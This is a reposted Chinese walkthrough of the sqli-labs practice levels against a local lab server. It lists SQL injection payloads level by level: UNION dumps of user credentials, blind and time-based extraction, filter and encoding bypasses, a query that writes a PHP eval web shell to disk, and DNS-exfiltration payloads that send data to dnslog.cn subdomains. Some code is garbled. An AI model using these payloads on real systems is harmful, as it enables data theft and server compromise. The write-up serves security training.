什么是sql注入
SQL注入是服務器端未嚴格校驗客戶端發送的資料,而導致服務端SQL陳述句被惡意修改并成功執行的行為 稱為SQL注入,
代碼對帶入SQL陳述句的引數過濾不嚴格
未啟用框架的安全配置,例如: PHP的magic. quotes. _gpc
未使用框架安全的查詢方法
測驗接未洗掉
未啟用防火墻
未使用其他的安全防護設備
1.concat(str1,str2,…)——沒有分隔符地連接字串2.concat_ws(separator,str1,str2,…)——含有分隔符地連接字串3.group_concat(str1,str2,…)——連接一個組的所有字串,并以逗號分隔每一條資料
Mysql查詢經常用到的陳述句
查庫:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=庫名
查列:select column_name from information_schema.columns where table_name=表名
查資料:select 列名 from 庫名.表名
sql注入簡單三步驟
第一:輸入ID的值使頁面不發生變化
第二:輸入一些特殊字符使得頁面報錯
第三:要讓頁面不報錯
Less-1
http://localhost/sql/Less-1/?id=1’
上述錯誤當中,我們可以看到提交到sql中的1’在經過sql陳述句構造后形成’1’'LIMIT0,1,多加了一個’,這種方式就是從錯誤資訊中得到我們所需要的資訊,那我們接下來想如何將多余的‘去掉呢?嘗試‘or1=1–+
此時構造的sql陳述句就成了Select******whereid='1’or1=1–+'LIMIT0,1
Mysql注入—sqlilabs—lcamry11此時構造的sql陳述句就成了Select*****whereid='1’or1=1–+'LIMIT0,1可以看到正常回傳資料,此處可以利用orderby,Orderby對前面的資料進行排序,這里有三列資料,我們就只能用order by 3,超過3就會報錯,‘order by 4–+的結果顯示結果超出
最后從源代碼中分析下為什么會造成注入?Sql陳述句為
s
q
l
=
"
S
E
L
E
C
T
?
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT*FROMusersWHEREid='
sql="SELECT?FROMusersWHEREid=′id’LIMIT0,1";Id引數在拼接sql陳述句時,未對id進行任何的過濾等操作,所以當提交‘or1=1–+,直接構造的sql陳述句就是SELECTFROMusersWHEREid=’1’or1=1–+LIMIT0,1這條陳述句因or1=1所以為永恒真,
輸入一下陳述句查詢出當前資料庫,和庫里面的所有的表
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
查出users表里面所有列,
有 id ,username,password列
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
查看里面的資料
?id=-1' union select 1,database(),group_concat(concat_ws("@",'username','password')) from security.users --+

Less-2
將’(單引號)添加到數字中,沒有閉合方式
所以這里的奇數個單引號破壞了查詢,導致拋出錯誤,因此我們得出的結果是,查詢代碼使用了整數,
頁面回顯正常
查看到當前資料庫和用戶

Less-3
輸入單引號后發現頁面報錯,并且出現了一個括號
可以判定是個 ’ (單引號 ) 和 )(左括號) 的閉合方式
查看到資料庫和用戶

Less-4
是一個雙引號和右括號的閉合方式
欄位數為3的

Less-5——基于’盲注
頁面自出現兩種結果,要么報錯,要么不報錯,所以這是一道盲注題
經過測驗,是一道布爾盲注,閉合方式是單引號閉合
判斷當前資料庫長度為8 length(database())=8

ascii(substr(database(),1,1))=115 當=115的時候頁面回顯正常
substr(a,b,c)從b位置開始,截取字串a的c長度,ascii()將某個字符轉換為ascii值
用burpsurite進行爆破
設定好引數進行破解


設定好引數后可進行爆破
也可以用報錯的方式進行注入
接下來就是獲取表名,就不一一進行爆破了,
先獲取表數量
and (select count() from information_schema.tables where table_schema=database())>5
再用limit依次獲取每個表名的長度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后獲取每個表名的名字
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
獲取列名
先獲取列名個數
and (select count() from information_schema.columns where table_name=‘users’ and table_schema=database())>5,
再獲取列名長度
and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后獲取列名
and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97
獲取資料
先確定第一個用戶名長度
and (select length(username) from users limit 0,1)>5
and (select length(列名) from 庫名.表名 limit 0,1)=11–+
再確定用戶名每一個字符的對應字母
and ascii(substr((select username from users limit 0,1),1,1))>97
and ascii(substr((select 列名 from 庫名.表名 limit 0,1),1,1))=97
Less-6——基于"字符型的錯誤回顯注入
是一道雙引號閉合的布爾盲注,這里就不一一講解了

Less-7——檔案讀寫注入
判斷閉合
測驗發現id=1’報錯,但把后面的陳述句注釋掉扔報錯,還有括號閉合,發現加兩個括號判斷為((’$id’))閉合,根據提示Use outfile…,應該是具有匯出什么的了,
直接寫入shell,用蟻劍連接即可
?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\sql\\Less-7\\shell.php"--+
頁面雖然報錯,但已成功寫入檔案
若是寫入不成功,添加這行代碼 secure_file_priv=
添加到mysqld下面

Less-8——基于’的盲注
這是一道單引號閉合的盲注,可以參考less-5用burpsuite爆破
Less-9——基于’的時間盲注
sleep() //延遲函式
if(condition,true,false) //條件陳述句
測驗?id=1’ and sleep(5) --+ 頁面會延時5秒再回顯,判斷為時間盲注
參考less-5的步驟
順序對應ascii表對照就可以了
id=1’ and if((ascii(substr(database(),1,1))>1),sleep(3),1) --+ 爆出當前資料庫
爆庫里面的第一個表
1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1),sleep(3),1) --+

Less-10基于"的時間盲注
是一道雙引號的時間輸入,和上面的操作一樣即可
Less-11基于’的POST型注入
登錄后,抓包
在uname、輸入單引號后發現頁面報錯,可以判斷是個單引號的閉合方式
欄位數為2列,然后就可以用聯合查詢了

Less-12——基于")的POST型注入
是一道上引號加左括號的閉合方式,欄位書為2

Less-13——基于’)的錯誤回顯注入
單引號左括號的閉合方式,用報錯注入

Less-14——基于"的錯誤回顯注入
雙引號的閉合方式,在利用報錯注入

Less-15——基于’的POST型注入(利用dns回顯)
申請臨時dns http://dnslog.cn/

利用dns回顯
抓包輸入sql陳述句,dns是自己臨時申請的
and if((select load_file(concat('\\\\',(select version()),'.eqnt6l.dnslog.cn'))),1,1) --+
重繪頁面,就看到當前資料庫版本

Less-16基于")的POST型注入(利用dns回顯)
admin") and if((select load_file(concat(’\\’,(select database()),’.8cpfmy.dnslog.cn\aaa’))),1,1) --+


Less-17——基于密碼的報錯注入

第十八關user-agent注入
閉合方式 ’ and 1=1 and’
知道閉合方式后利用報錯注入

第十九關referer注入
在referer這里輸入單引號后發現頁面出現報錯
閉合方式 ’ and 1=1 and ’
用報錯函式,直接可以查看到資料庫當前版本

第二十關cookie注入
在cookie這里輸入單引號發現頁面報錯,可以判斷是cookie注入
用updatexml報錯注入

第二十一關
這是一道cookie注入,并且資料是經過加密的,當輸入admin’用base64加密,頁面出現錯誤,可以判定是個單引號輸入方式
用base64加密資料在經過提交時,顯示當前資料庫資訊

第二十二關 cookie注入
打開用BP抓,發現admin是經過base加密的
所以要想注入,都是要經過加密才可以,經過我的測驗,是個雙引號閉合方式,uname=后面所有內容都是要經過加密 欄位數是三列
-admin" union select 1,database(),3 # base64加密
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==
查到當前資料庫

less-23——過濾注釋的GET型注入
利用報錯的方式進行注入

less-24——二次注入
假設知道有admin用戶但是不知道密碼
首先點擊New User click here? 注冊admin’ – -用戶
然后登錄該用戶修改密碼


然后再使用admin輸入剛才admin’ – -修改的密碼
登錄成功,此時兩個賬號的密碼一樣
less-25——過濾or和and的單引號注入
雙寫or


less-26——基于’過濾注釋和空格的注入
對于空格,有較多的方法:
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格
id=1’and(extractvalue(1,concat(1,concat(select%a0table_name%a0from%a0informatiom_schema.tables%a0where%a0table_schema=database()))))and’1’='1
本人繞過失敗,不知道咋回事 求解求解

less-27——基于’過濾union、select與注釋和空格的注入
?id=1'or(extractvalue(1,concat(0x7e,(SElEcT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()))))or'1'='1
成功繞過

less-28
報錯了

less-29 index.php——基于單引號字符型的注入

less-30 index.php——基于雙引號字符型的注入

less-30 隱藏關login.php——基于雙引號的引數污染繞過
注入陳述句
id=1&id=-1" union select 1,2,3
less-31——基于")字符型的注入

less-31 隱藏關login.php——基于")的引數污染繞過
注入陳述句:
id=1&id=-1") union select 1,2,3
Less-32 寬位元組注入
正常思路 輸入’ " 等等一些特殊符號
輸入單引號之后出現了轉義,把單引號轉義成’,所以要用GBK編碼 %df’
欄位數為3列,然后使用聯合查詢就可以了
查詢條件時要用單引號括這,如何直接用GBK轉碼是不行,所以要用十六進制

Less-33
這關和上一關操作一樣

Less-34
和上一關類似,也是寬位元組注入,要利用抓包,查到當前資料庫,然后直接帶入公司就可以了,

Less-35
id 沒有被’ “符號包括起來,所以直接提交payload,后面跟上面方式一樣了

Less-36
這一關特殊字符都被過濾了,輸入什么都沒有回顯,可以直接用GBK編碼嘗試,嘗試之后發現和上面的注入方式一樣

第Less-37
直接在資料包里面修改資料即可

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/272833.html
標籤:其他
